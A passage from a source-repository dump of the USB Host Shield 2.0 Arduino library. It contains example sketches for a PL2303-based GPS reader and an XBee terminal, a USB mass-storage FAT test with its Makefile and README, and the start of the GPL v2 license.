rcode); if(rcvd) { //more than zero bytes received for(uint16_t i = 0; i < rcvd; i++) { Serial.print((char)buf[i]); //printing on the screen }//for( uint16_t i=0; i < rcvd; i++... }//if( rcvd }//if( read_delay > millis()... }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING.. } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_tinygps/pl2303_tinygps.ino ================================================ /* USB Host to PL2303-based USB GPS unit interface */ /* Navibee GM720 receiver - Sirf Star III */ /* Mikal Hart's TinyGPS library */ /* test_with_gps_device library example modified for PL2302 access */ /* USB support */ #include /* CDC support */ #include #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include /* This sample code demonstrates the normal use of a TinyGPS object. Modified to be used with USB Host Shield Library r2.0 and USB Host Shield 2.0 */ class PLAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t PLAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 rcode = pacm->SetControlLineState(1); if (rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; lc.dwDTERate = 4800; //default serial speed of GPS unit lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if (rcode) { ErrorMessage(PSTR("SetLineCoding"), rcode); } return rcode; } USB Usb; //USBHub Hub(&Usb); PLAsyncOper AsyncOper; PL2303 Pl(&Usb, &AsyncOper); TinyGPS gps; void gpsdump(TinyGPS &gps); bool feedgps(); void printFloat(double f, int16_t digits = 2); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.print("Testing TinyGPS library v. "); Serial.println(TinyGPS::library_version()); Serial.println("by Mikal Hart"); Serial.println(); Serial.print("Sizeof(gpsobject) = "); Serial.println(sizeof(TinyGPS)); Serial.println(); /* USB Initialization */ if (Usb.Init() == -1) { Serial.println("OSCOKIRQ failed to assert"); } delay( 200 ); } void loop() { Usb.Task(); if( Pl.isReady()) { bool newdata = false; uint32_t start = (uint32_t)millis(); // Every 5 seconds we print an update while ((int32_t)((uint32_t)millis() - start) < 5000) { if( feedgps()) { newdata = true; } }//while (millis()... if (newdata) { Serial.println("Acquired Data"); Serial.println("-------------"); gpsdump(gps); Serial.println("-------------"); Serial.println(); }//if( newdata... }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING... } void printFloat(double number, int16_t digits) { // Handle negative numbers if (number < 0.0) { Serial.print('-'); number = -number; } // Round correctly so that print(1.999, 2) prints as "2.00" double rounding = 0.5; for (uint8_t i=0; i 0) Serial.print("."); // Extract digits from the remainder one at a time while (digits-- > 0) { remainder *= 10.0; int toPrint = int(remainder); Serial.print(toPrint); remainder -= toPrint; } } void gpsdump(TinyGPS &gps) { long lat, lon; float flat, flon; unsigned long age, date, time, chars; int year; uint8_t month, day, hour, minute, second, hundredths; unsigned short sentences, failed; gps.get_position(&lat, &lon, &age); Serial.print("Lat/Long(10^-5 deg): "); Serial.print(lat); Serial.print(", "); Serial.print(lon); Serial.print(" Fix age: "); Serial.print(age); Serial.println("ms."); feedgps(); // If we don't feed the gps during this long routine, we may drop characters and get checksum errors gps.f_get_position(&flat, &flon, &age); Serial.print("Lat/Long(float): "); printFloat(flat, 5); Serial.print(", "); printFloat(flon, 5); Serial.print(" Fix age: "); Serial.print(age); Serial.println("ms."); feedgps(); gps.get_datetime(&date, &time, &age); Serial.print("Date(ddmmyy): "); Serial.print(date); Serial.print(" Time(hhmmsscc): "); Serial.print(time); Serial.print(" Fix age: "); Serial.print(age); Serial.println("ms."); feedgps(); gps.crack_datetime(&year, &month, &day, &hour, &minute, &second, &hundredths, &age); Serial.print("Date: "); Serial.print(static_cast(month)); Serial.print("/"); Serial.print(static_cast(day)); Serial.print("/"); Serial.print(year); Serial.print(" Time: "); Serial.print(static_cast(hour)); Serial.print(":"); Serial.print(static_cast(minute)); Serial.print(":"); Serial.print(static_cast(second)); Serial.print("."); Serial.print(static_cast(hundredths)); Serial.print(" Fix age: "); Serial.print(age); Serial.println("ms."); feedgps(); Serial.print("Alt(cm): "); Serial.print(gps.altitude()); Serial.print(" Course(10^-2 deg): "); Serial.print(gps.course()); Serial.print(" Speed(10^-2 knots): "); Serial.println(gps.speed()); Serial.print("Alt(float): "); printFloat(gps.f_altitude()); Serial.print(" Course(float): "); printFloat(gps.f_course()); Serial.println(); Serial.print("Speed(knots): "); printFloat(gps.f_speed_knots()); Serial.print(" (mph): "); printFloat(gps.f_speed_mph()); Serial.print(" (mps): "); printFloat(gps.f_speed_mps()); Serial.print(" (kmph): "); printFloat(gps.f_speed_kmph()); Serial.println(); feedgps(); gps.stats(&chars, &sentences, &failed); Serial.print("Stats: characters: "); Serial.print(chars); Serial.print(" sentences: "); Serial.print(sentences); Serial.print(" failed checksum: "); Serial.println(failed); } bool feedgps() { uint8_t rcode; uint8_t buf[64]; //serial buffer equals Max.packet size of bulk-IN endpoint uint16_t rcvd = 64; { /* reading the GPS */ rcode = Pl.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); rcode = false; if( rcvd ) { //more than zero bytes received for( uint16_t i=0; i < rcvd; i++ ) { if( gps.encode((char)buf[i])) { //feed a character to gps object rcode = true; }//if( gps.encode(buf[i]... }//for( uint16_t i=0; i < rcvd; i++... }//if( rcvd... } return( rcode ); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_xbee_terminal/pl2303_xbee_terminal.ino ================================================ /* Arduino terminal for PL2303 USB to serial converter and XBee radio. */ /* Inserts linefeed after carriage return in data sent to and received from Xbee */ /* USB support */ #include /* CDC support */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class PLAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t PLAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 rcode = pacm->SetControlLineState(1); if (rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; lc.dwDTERate = 115200; lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if (rcode) ErrorMessage(PSTR("SetLineCoding"), rcode); return rcode; } USB Usb; //USBHub Hub(&Usb); PLAsyncOper AsyncOper; PL2303 Pl(&Usb, &AsyncOper); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSCOKIRQ failed to assert"); delay( 200 ); } void loop() { Usb.Task(); if( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { uint8_t rcode; /* reading the keyboard */ if(Serial.available()) { uint8_t data= Serial.read(); if ( data == '\r' ) { Serial.print("\r\n"); //insert linefeed } else { Serial.print( data ); //echo back to the screen } /* sending to the phone */ rcode = Pl.SndData(1, &data); if (rcode) ErrorMessage(PSTR("SndData"), rcode); }//if(Serial.available()... delay(50); /* reading the converter */ /* buffer size must be greater or equal to max.packet size */ /* it it set to 64 (largest possible max.packet size) here, can be tuned down for particular endpoint */ uint8_t buf[64]; uint16_t rcvd = 64; rcode = Pl.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); if( rcvd ) { //more than zero bytes received for(uint16_t i=0; i < rcvd; i++ ) { if( buf[i] =='\r' ) { Serial.print("\r\n"); //insert linefeed } else { Serial.print((char)buf[i]); //printing on the screen } } } delay(10); }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING.. } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/Makefile ================================================ # # These are set for a mega 1280 + quadram plus my serial patch. # If you lack quadram, or want to disable LFN, just change _FS_TINY=1 _USE_LFN=0 # # If your board is a mega 2560 comment out the following two lines BOARD = mega BOARD_SUB = mega.menu.cpu.atmega1280 PROGRAMMER = arduino # ...and then uncomment out the following two lines #BOARD_SUB = mega.menu.cpu.atmega2560 #PROGRAMMER = wiring #BOARD = teensypp2 #BOARD = teensy3 #BOARD = teensy31 # set your Arduino tty port here PORT = /dev/ttyUSB0 EXTRA_FLAGS = -D _USE_LFN=3 # change to 0 if you have quadram to take advantage of caching FAT EXTRA_FLAGS += -D _FS_TINY=1 EXTRA_FLAGS += -D _MAX_SS=512 # Don't worry if you don't have external RAM, xmem2 detects this situation. # You *WILL* be wanting to get some kind of external ram on your mega in order to # do anything that is intense. EXTRA_FLAGS += -D EXT_RAM_STACK=1 EXTRA_FLAGS += -D EXT_RAM_HEAP=1 # These are no longer needed for the demo to work. # In the event you need more ram, uncomment these 3 lines. #EXTRA_FLAGS += -D DISABLE_SERIAL1 #EXTRA_FLAGS += -D DISABLE_SERIAL2 #EXTRA_FLAGS += -D DISABLE_SERIAL3 # # Advanced debug on Serial3 # # uncomment the next two to enable debug on Serial3 EXTRA_FLAGS += -D USB_HOST_SERIAL=Serial3 #EXTRA_FLAGS += -D DEBUG_USB_HOST # The following are the libraries used. LIB_DIRS += ../../ LIB_DIRS += ../testusbhostFAT/xmem2 LIB_DIRS += ../testusbhostFAT/generic_storage LIB_DIRS += ../testusbhostFAT/RTClib LIB_DIRS += $(ARD_HOME)/libraries/Wire LIB_DIRS += $(ARD_HOME)/libraries/Wire/utility LIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/Wire LIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/Wire/utility LIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/SPI # And finally, the part that brings everything together for you. include Arduino_Makefile_master/_Makefile.master ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/README.md ================================================ This small sketch tests the USB host shield mass storage library. __Note:__ This will not run a Arduino Uno due to the limited ram available in the ATmega328p. The Arduino Mega (ATmega1280) and the Arduino Mega 2560 (ATmega2560) are confirmed to work with this test code. To compile this example you will need the following libraries as well: * [xmem2](https://github.com/xxxajk/xmem2) * [generic_storage FATfs](https://github.com/xxxajk/generic_storage) * [RTClib](https://github.com/xxxajk/RTClib) The following shield is recommended for larger projects: . You may use the bundled [Makefile](Makefile) to compile the code instead of the Arduino IDE if you have problems or want a smaller binary. The master makefile is bundled as a submodule, but can also be downloaded manually at the following link: . To download the USB Host library and all the needed libraries for this test. Run the following command in a terminal application: ``` git clone --recursive https://github.com/felis/USB_Host_Shield_2.0 ``` If you want to update all the submodules run: ``` git submodule foreach --recursive git pull origin master ``` ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/testusbhostFAT.ino ================================================ /* * Mega + USB storage + optional DS1307 + optional expansion RAM + funky status LED, * Includes interactive debug level setting, and supports hot-plug. * * IMPORTANT! PLEASE USE Arduino 1.0.5 or better! * Older versions HAVE MAJOR BUGS AND WILL NOT WORK AT ALL! * Use of gcc-avr and lib-c that is newer than the Arduino version is even better. * If you experience random crashes, use make. * The options that the IDE use can generate bad code and cause the AVR to crash. * * This sketch requires the following libraries: * https://github.com/felis/USB_Host_Shield_2.0 Install as 'USB_Host_Shield_2_0' * https://github.com/xxxajk/xmem2 Install as 'xmem', provides memory services. * https://github.com/xxxajk/generic_storage provides access to FAT file system. * https://github.com/xxxajk/RTClib provides access to DS1307, or fake clock. * * Optional, to use the Makefile (Recommended! See above!): * https://github.com/xxxajk/Arduino_Makefile_master * */ ///////////////////////////////////////////////////////////// // Please Note: // // This section is for info with the Arduino IDE ONLY. // // Unfortunately due to short sightedness of the Arduino // // code team, that you must set the following in the // // respective libraries. // // Changing them here will have _NO_ effect! // ///////////////////////////////////////////////////////////// // Uncomment to enable debugging //#define DEBUG_USB_HOST // This is where stderr/USB debugging goes to //#define USB_HOST_SERIAL Serial3 // If you have external memory, setting this to 0 enables FAT table caches. // The 0 setting is recommended only if you have external memory. //#define _FS_TINY 1 //#define _USE_LFN 3 //#define _MAX_SS 512 ///////////////////////////////////////////////////////////// // End of Arduino IDE specific information // ///////////////////////////////////////////////////////////// // You can set this to 0 if you are not using a USB hub. // It will save a little bit of flash and RAM. // Set to 1 if you want to use a hub. #define WANT_HUB_TEST 1 // this is for XMEM2 #define EXT_RAM_STACK 1 #define EXT_RAM_HEAP 1 #define LOAD_XMEM #if defined(CORE_TEENSY) && !defined(_AVR_) #include #include #include #endif #if defined(__AVR__) #include #elif defined(ARDUINO_ARCH_SAM) #include #endif #if WANT_HUB_TEST #include #endif #include #define LOAD_RTCLIB #include #include #include #include #include #include #include #if defined(__AVR__) static FILE tty_stdio; static FILE tty_stderr; volatile uint32_t LEDnext_time; // fade timeout volatile uint32_t HEAPnext_time; // when to print out next heap report volatile int brightness = 0; // how bright the LED is volatile int fadeAmount = 80; // how many points to fade the LED by #endif USB Usb; volatile uint8_t current_state = 1; volatile uint8_t last_state = 0; volatile bool fatready = false; volatile bool partsready = false; volatile bool notified = false; volatile bool runtest = false; volatile bool usbon = false; volatile uint32_t usbon_time; volatile bool change = false; volatile bool reportlvl = false; int cpart = 0; PCPartition *PT; #if WANT_HUB_TEST #define MAX_HUBS 1 USBHub *Hubs[MAX_HUBS]; #endif static PFAT *Fats[_VOLUMES]; static part_t parts[_VOLUMES]; static storage_t sto[_VOLUMES]; /*make sure this is a power of two. */ #define mbxs 128 static uint8_t My_Buff_x[mbxs]; /* File read buffer */ #if defined(__AVR__) #define prescale1 ((1 << WGM12) | (1 << CS10)) #define prescale8 ((1 << WGM12) | (1 << CS11)) #define prescale64 ((1 << WGM12) | (1 << CS10) | (1 << CS11)) #define prescale256 ((1 << WGM12) | (1 << CS12)) #define prescale1024 ((1 << WGM12) | (1 << CS12) | (1 << CS10)) extern "C" { extern unsigned int freeHeap(); } static int tty_stderr_putc(char c, FILE *t) { USB_HOST_SERIAL.write(c); return 0; } static int __attribute__((unused)) tty_stderr_flush(FILE *t) { USB_HOST_SERIAL.flush(); return 0; } static int tty_std_putc(char c, FILE *t) { Serial.write(c); return 0; } static int tty_std_getc(FILE *t) { while(!Serial.available()); return Serial.read(); } static int __attribute__((unused)) tty_std_flush(FILE *t) { Serial.flush(); return 0; } #else // Supposedly the DUE has stdio already pointing to serial... #if !defined(ARDUINO_ARCH_SAM) // But newlib needs this... extern "C" { int _write(int fd, const char *ptr, int len) { int j; for(j = 0; j < len; j++) { if(fd == 1) Serial.write(*ptr++); else if(fd == 2) USB_HOST_SERIAL.write(*ptr++); } return len; } int _read(int fd, char *ptr, int len) { if(len > 0 && fd == 0) { while(!Serial.available()); *ptr = Serial.read(); return 1; } return 0; } #include int _fstat(int fd, struct stat *st) { memset(st, 0, sizeof (*st)); st->st_mode = S_IFCHR; st->st_blksize = 1024; return 0; } int _isatty(int fd) { return (fd < 3) ? 1 : 0; } } #endif // !defined(ARDUINO_ARCH_SAM) #endif void setup() { bool serr = false; for(int i = 0; i < _VOLUMES; i++) { Fats[i] = NULL; sto[i].private_data = new pvt_t; ((pvt_t *)sto[i].private_data)->B = 255; // impossible } // Set this to higher values to enable more debug information // minimum 0x00, maximum 0xff UsbDEBUGlvl = 0x81; #if !defined(CORE_TEENSY) && defined(__AVR__) // make LED pin as an output: pinMode(LED_BUILTIN, OUTPUT); pinMode(2, OUTPUT); // Ensure TX is off _SFR_BYTE(UCSR0B) &= ~_BV(TXEN0); // Initialize 'debug' serial port USB_HOST_SERIAL.begin(115200); // Do not start primary Serial port if already started. if(bit_is_clear(UCSR0B, TXEN0)) { Serial.begin(115200); serr = true; } // Blink LED delay(500); analogWrite(LED_BUILTIN, 255); delay(500); analogWrite(LED_BUILTIN, 0); delay(500); #else while(!Serial); Serial.begin(115200); // On the Teensy 3.x we get a delay at least! #endif #if defined(__AVR__) // Set up stdio/stderr tty_stdio.put = tty_std_putc; tty_stdio.get = tty_std_getc; tty_stdio.flags = _FDEV_SETUP_RW; tty_stdio.udata = 0; tty_stderr.put = tty_stderr_putc; tty_stderr.get = NULL; tty_stderr.flags = _FDEV_SETUP_WRITE; tty_stderr.udata = 0; stdout = &tty_stdio; stdin = &tty_stdio; stderr = &tty_stderr; #endif printf_P(PSTR("\r\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nStart\r\n")); printf_P(PSTR("Current UsbDEBUGlvl %02x\r\n"), UsbDEBUGlvl); printf_P(PSTR("'+' and '-' increase/decrease by 0x01\r\n")); printf_P(PSTR("'.' and ',' increase/decrease by 0x10\r\n")); printf_P(PSTR("'t' will run a 10MB write/read test and print out the time it took.\r\n")); printf_P(PSTR("'e' will toggle vbus off for a few moments.\r\n\r\n")); printf_P(PSTR("Long filename support: " #if _USE_LFN "Enabled" #else "Disabled" #endif "\r\n")); if(serr) { fprintf_P(stderr, PSTR("\r\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nStart\r\n")); fprintf_P(stderr, PSTR("Current UsbDEBUGlvl %02x\r\n"), UsbDEBUGlvl); fprintf_P(stderr, PSTR("Long filename support: " #if _USE_LFN "Enabled" #else "Disabled" #endif "\r\n")); } #if !defined(CORE_TEENSY) && defined(__AVR__) analogWrite(LED_BUILTIN, 255); delay(500); analogWrite(LED_BUILTIN, 0); delay(500); analogWrite(LED_BUILTIN, 255); delay(500); analogWrite(LED_BUILTIN, 0); delay(500); analogWrite(LED_BUILTIN, 255); delay(500); analogWrite(LED_BUILTIN, 0); delay(500); LEDnext_time = (uint32_t)millis() + 1; #if EXT_RAM printf_P(PSTR("Total EXT RAM banks %i\r\n"), xmem::getTotalBanks()); #endif printf_P(PSTR("Available heap: %u Bytes\r\n"), freeHeap()); printf_P(PSTR("SP %x\r\n"), (uint8_t *)(SP)); #endif // Even though I'm not going to actually be deleting, // I want to be able to have slightly more control. // Besides, it is easier to initialize stuff... #if WANT_HUB_TEST for(int i = 0; i < MAX_HUBS; i++) { Hubs[i] = new USBHub(&Usb); #if defined(__AVR__) printf_P(PSTR("Available heap: %u Bytes\r\n"), freeHeap()); #endif } #endif // Initialize generic storage. This must be done before USB starts. Init_Generic_Storage(); while(Usb.Init(1000) == -1) { printf_P(PSTR("No USB HOST Shield?\r\n")); Notify(PSTR("OSC did not start."), 0x40); } #if !defined(CORE_TEENSY) && defined(__AVR__) cli(); TCCR3A = 0; TCCR3B = 0; // (0.01/(1/((16 *(10^6)) / 8))) - 1 = 19999 OCR3A = 19999; TCCR3B |= prescale8; TIMSK3 |= (1 << OCIE1A); sei(); HEAPnext_time = (uint32_t)millis() + 10000; #endif #if defined(__AVR__) HEAPnext_time = (uint32_t)millis() + 10000; #endif } void serialEvent() { // Adjust UsbDEBUGlvl level on-the-fly. // + to increase, - to decrease, * to display current level. // . to increase by 16, , to decrease by 16 // e to flick VBUS // * to report debug level if(Serial.available()) { int inByte = Serial.read(); switch(inByte) { case '+': if(UsbDEBUGlvl < 0xff) UsbDEBUGlvl++; reportlvl = true; break; case '-': if(UsbDEBUGlvl > 0x00) UsbDEBUGlvl--; reportlvl = true; break; case '.': if(UsbDEBUGlvl < 0xf0) UsbDEBUGlvl += 16; reportlvl = true; break; case ',': if(UsbDEBUGlvl > 0x0f) UsbDEBUGlvl -= 16; reportlvl = true; break; case '*': reportlvl = true; break; case 't': runtest = true; break; case 'e': change = true; usbon = false; break; } } } #if !defined(CORE_TEENSY) && defined(__AVR__) // ALL teensy versions LACK PWM ON LED ISR(TIMER3_COMPA_vect) { if((int32_t)((uint32_t)millis() - LEDnext_time) >= 0L) { LEDnext_time = (uint32_t)millis() + 30; // set the brightness of LED analogWrite(LED_BUILTIN, brightness); // change the brightness for next time through the loop: brightness = brightness + fadeAmount; // reverse the direction of the fading at the ends of the fade: if(brightness <= 0) { brightness = 0; fadeAmount = -fadeAmount; } if(brightness >= 255) { brightness = 255; fadeAmount = -fadeAmount; } } } #endif bool isfat(uint8_t t) { return (t == 0x01 || t == 0x04 || t == 0x06 || t == 0x0b || t == 0x0c || t == 0x0e || t == 0x1); } void die(FRESULT rc) { printf_P(PSTR("Failed with rc=%u.\r\n"), rc); //for (;;); } void loop() { FIL My_File_Object_x; /* File object */ #if defined(__AVR__) // Print a heap status report about every 10 seconds. if((int32_t)((uint32_t)millis() - HEAPnext_time) >= 0L) { if(UsbDEBUGlvl > 0x50) { printf_P(PSTR("Available heap: %u Bytes\r\n"), freeHeap()); } HEAPnext_time = (uint32_t)millis() + 10000; } TCCR3B = 0; #endif #if defined(CORE_TEENSY) // Teensy suffers here, oh well... serialEvent(); #endif // Horrid! This sort of thing really belongs in an ISR, not here! // We also will be needing to test each hub port, we don't do this yet! if(!change && !usbon && (int32_t)((uint32_t)millis() - usbon_time) >= 0L) { change = true; usbon = true; } if(change) { change = false; if(usbon) { Usb.vbusPower(vbus_on); printf_P(PSTR("VBUS on\r\n")); } else { Usb.vbusPower(vbus_off); usbon_time = (uint32_t)millis() + 2000; } } Usb.Task(); current_state = Usb.getUsbTaskState(); if(current_state != last_state) { if(UsbDEBUGlvl > 0x50) printf_P(PSTR("USB state = %x\r\n"), current_state); #if !defined(CORE_TEENSY) && defined(__AVR__) if(current_state == USB_STATE_RUNNING) { fadeAmount = 30; } #endif if(current_state == USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { #if !defined(CORE_TEENSY) && defined(__AVR__) fadeAmount = 80; #endif partsready = false; for(int i = 0; i < cpart; i++) { if(Fats[i] != NULL) delete Fats[i]; Fats[i] = NULL; } fatready = false; notified = false; cpart = 0; } last_state = current_state; } // only do any of this if usb is on if(usbon) { if(partsready && !fatready) { if(cpart > 0) fatready = true; } // This is horrible, and needs to be moved elsewhere! for(int B = 0; B < MAX_USB_MS_DRIVERS; B++) { if((!partsready) && (UHS_USB_BulkOnly[B]->GetAddress())) { // Build a list. int ML = UHS_USB_BulkOnly[B]->GetbMaxLUN(); //printf("MAXLUN = %i\r\n", ML); ML++; for(int i = 0; i < ML; i++) { if(UHS_USB_BulkOnly[B]->LUNIsGood(i)) { partsready = true; ((pvt_t *)(sto[i].private_data))->lun = i; ((pvt_t *)(sto[i].private_data))->B = B; sto[i].Reads = *UHS_USB_BulkOnly_Read; sto[i].Writes = *UHS_USB_BulkOnly_Write; sto[i].Status = *UHS_USB_BulkOnly_Status; sto[i].Initialize = *UHS_USB_BulkOnly_Initialize; sto[i].Commit = *UHS_USB_BulkOnly_Commit; sto[i].TotalSectors = UHS_USB_BulkOnly[B]->GetCapacity(i); sto[i].SectorSize = UHS_USB_BulkOnly[B]->GetSectorSize(i); printf_P(PSTR("LUN:\t\t%u\r\n"), i); printf_P(PSTR("Total Sectors:\t%08lx\t%lu\r\n"), sto[i].TotalSectors, sto[i].TotalSectors); printf_P(PSTR("Sector Size:\t%04x\t\t%u\r\n"), sto[i].SectorSize, sto[i].SectorSize); // get the partition data... PT = new PCPartition; if(!PT->Init(&sto[i])) { part_t *apart; for(int j = 0; j < 4; j++) { apart = PT->GetPart(j); if(apart != NULL && apart->type != 0x00) { memcpy(&(parts[cpart]), apart, sizeof (part_t)); printf_P(PSTR("Partition %u type %#02x\r\n"), j, parts[cpart].type); // for now if(isfat(parts[cpart].type)) { Fats[cpart] = new PFAT(&sto[i], cpart, parts[cpart].firstSector); //int r = Fats[cpart]->Good(); if(Fats[cpart]->MountStatus()) { delete Fats[cpart]; Fats[cpart] = NULL; } else cpart++; } } } } else { // try superblock Fats[cpart] = new PFAT(&sto[i], cpart, 0); //int r = Fats[cpart]->Good(); if(Fats[cpart]->MountStatus()) { //printf_P(PSTR("Superblock error %x\r\n"), r); delete Fats[cpart]; Fats[cpart] = NULL; } else cpart++; } delete PT; } else { sto[i].Writes = NULL; sto[i].Reads = NULL; sto[i].Initialize = NULL; sto[i].TotalSectors = 0UL; sto[i].SectorSize = 0; } } } } if(fatready) { if(Fats[0] != NULL) { struct Pvt * p; p = ((struct Pvt *)(Fats[0]->storage->private_data)); if(!UHS_USB_BulkOnly[p->B]->LUNIsGood(p->lun)) { // media change #if !defined(CORE_TEENSY) && defined(__AVR__) fadeAmount = 80; #endif partsready = false; for(int i = 0; i < cpart; i++) { if(Fats[i] != NULL) delete Fats[i]; Fats[cpart] = NULL; } fatready = false; notified = false; cpart = 0; } } } if(fatready) { FRESULT rc; /* Result code */ UINT bw, br, i; if(!notified) { #if !defined(CORE_TEENSY) && defined(__AVR__) fadeAmount = 5; #endif notified = true; FATFS *fs = NULL; for(int zz = 0; zz < _VOLUMES; zz++) { if(Fats[zz]->volmap == 0) fs = Fats[zz]->ffs; } printf_P(PSTR("\r\nOpen an existing file (message.txt).\r\n")); rc = f_open(&My_File_Object_x, "0:/MESSAGE.TXT", FA_READ); if(rc) printf_P(PSTR("Error %i, message.txt not found.\r\n"), rc); else { printf_P(PSTR("\r\nType the file content.\r\n")); for(;;) { rc = f_read(&My_File_Object_x, My_Buff_x, mbxs, &br); /* Read a chunk of file */ if(rc || !br) break; /* Error or end of file */ for(i = 0; i < br; i++) { /* Type the data */ if(My_Buff_x[i] == '\n') Serial.write('\r'); if(My_Buff_x[i] != '\r') Serial.write(My_Buff_x[i]); Serial.flush(); } } if(rc) { f_close(&My_File_Object_x); goto out; } printf_P(PSTR("\r\nClose the file.\r\n")); rc = f_close(&My_File_Object_x); if(rc) goto out; } printf_P(PSTR("\r\nCreate a new file (hello.txt).\r\n")); rc = f_open(&My_File_Object_x, "0:/Hello.TxT", FA_WRITE | FA_CREATE_ALWAYS); if(rc) { die(rc); goto outdir; } printf_P(PSTR("\r\nWrite a text data. (Hello world!)\r\n")); rc = f_write(&My_File_Object_x, "Hello world!\r\n", 14, &bw); if(rc) { goto out; } printf_P(PSTR("%u bytes written.\r\n"), bw); printf_P(PSTR("\r\nClose the file.\r\n")); rc = f_close(&My_File_Object_x); if(rc) { die(rc); goto out; } outdir:{ #if _USE_LFN char lfn[_MAX_LFN + 1]; FILINFO My_File_Info_Object_x; /* File information object */ My_File_Info_Object_x.lfname = lfn; #endif DIR My_Dir_Object_x; /* Directory object */ printf_P(PSTR("\r\nOpen root directory.\r\n")); rc = f_opendir(&My_Dir_Object_x, "0:/"); if(rc) { die(rc); goto out; } printf_P(PSTR("\r\nDirectory listing...\r\n")); #if defined(__AVR__) printf_P(PSTR("Available heap: %u Bytes\r\n"), freeHeap()); #endif for(;;) { #if _USE_LFN My_File_Info_Object_x.lfsize = _MAX_LFN; #endif rc = f_readdir(&My_Dir_Object_x, &My_File_Info_Object_x); /* Read a directory item */ if(rc || !My_File_Info_Object_x.fname[0]) break; /* Error or end of dir */ if(My_File_Info_Object_x.fattrib & AM_DIR) { Serial.write('d'); } else { Serial.write('-'); } Serial.write('r'); if(My_File_Info_Object_x.fattrib & AM_RDO) { Serial.write('-'); } else { Serial.write('w'); } if(My_File_Info_Object_x.fattrib & AM_HID) { Serial.write('h'); } else { Serial.write('-'); } if(My_File_Info_Object_x.fattrib & AM_SYS) { Serial.write('s'); } else { Serial.write('-'); } if(My_File_Info_Object_x.fattrib & AM_ARC) { Serial.write('a'); } else { Serial.write('-'); } #if _USE_LFN if(*My_File_Info_Object_x.lfname) printf_P(PSTR(" %8lu %s (%s)\r\n"), My_File_Info_Object_x.fsize, My_File_Info_Object_x.fname, My_File_Info_Object_x.lfname); else #endif printf_P(PSTR(" %8lu %s\r\n"), My_File_Info_Object_x.fsize, &(My_File_Info_Object_x.fname[0])); } } out: if(rc) die(rc); DISK_IOCTL(fs->drv, CTRL_COMMIT, 0); printf_P(PSTR("\r\nTest completed.\r\n")); } if(runtest) { ULONG ii, wt, rt, start, end; FATFS *fs = NULL; for(int zz = 0; zz < _VOLUMES; zz++) { if(Fats[zz]->volmap == 0) fs = Fats[zz]->ffs; } runtest = false; f_unlink("0:/10MB.bin"); printf_P(PSTR("\r\nCreate a new 10MB test file (10MB.bin).\r\n")); rc = f_open(&My_File_Object_x, "0:/10MB.bin", FA_WRITE | FA_CREATE_ALWAYS); if(rc) goto failed; for(bw = 0; bw < mbxs; bw++) My_Buff_x[bw] = bw & 0xff; fflush(stdout); start = (uint32_t)millis(); while(start == (uint32_t)millis()); for(ii = 10485760LU / mbxs; ii > 0LU; ii--) { rc = f_write(&My_File_Object_x, My_Buff_x, mbxs, &bw); if(rc || !bw) goto failed; } rc = f_close(&My_File_Object_x); if(rc) goto failed; end = (uint32_t)millis(); wt = (end - start) - 1; printf_P(PSTR("Time to write 10485760 bytes: %lu ms (%lu sec) \r\n"), wt, (500 + wt) / 1000UL); rc = f_open(&My_File_Object_x, "0:/10MB.bin", FA_READ); fflush(stdout); start = (uint32_t)millis(); while(start == (uint32_t)millis()); if(rc) goto failed; for(;;) { rc = f_read(&My_File_Object_x, My_Buff_x, mbxs, &bw); /* Read a chunk of file */ if(rc || !bw) break; /* Error or end of file */ } end = (uint32_t)millis(); if(rc) goto failed; rc = f_close(&My_File_Object_x); if(rc) goto failed; rt = (end - start) - 1; printf_P(PSTR("Time to read 10485760 bytes: %lu ms (%lu sec)\r\nDelete test file\r\n"), rt, (500 + rt) / 1000UL); failed: if(rc) die(rc); DISK_IOCTL(fs->drv, CTRL_COMMIT, 0); printf_P(PSTR("10MB timing test finished.\r\n")); } } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/gpl2.txt ================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change 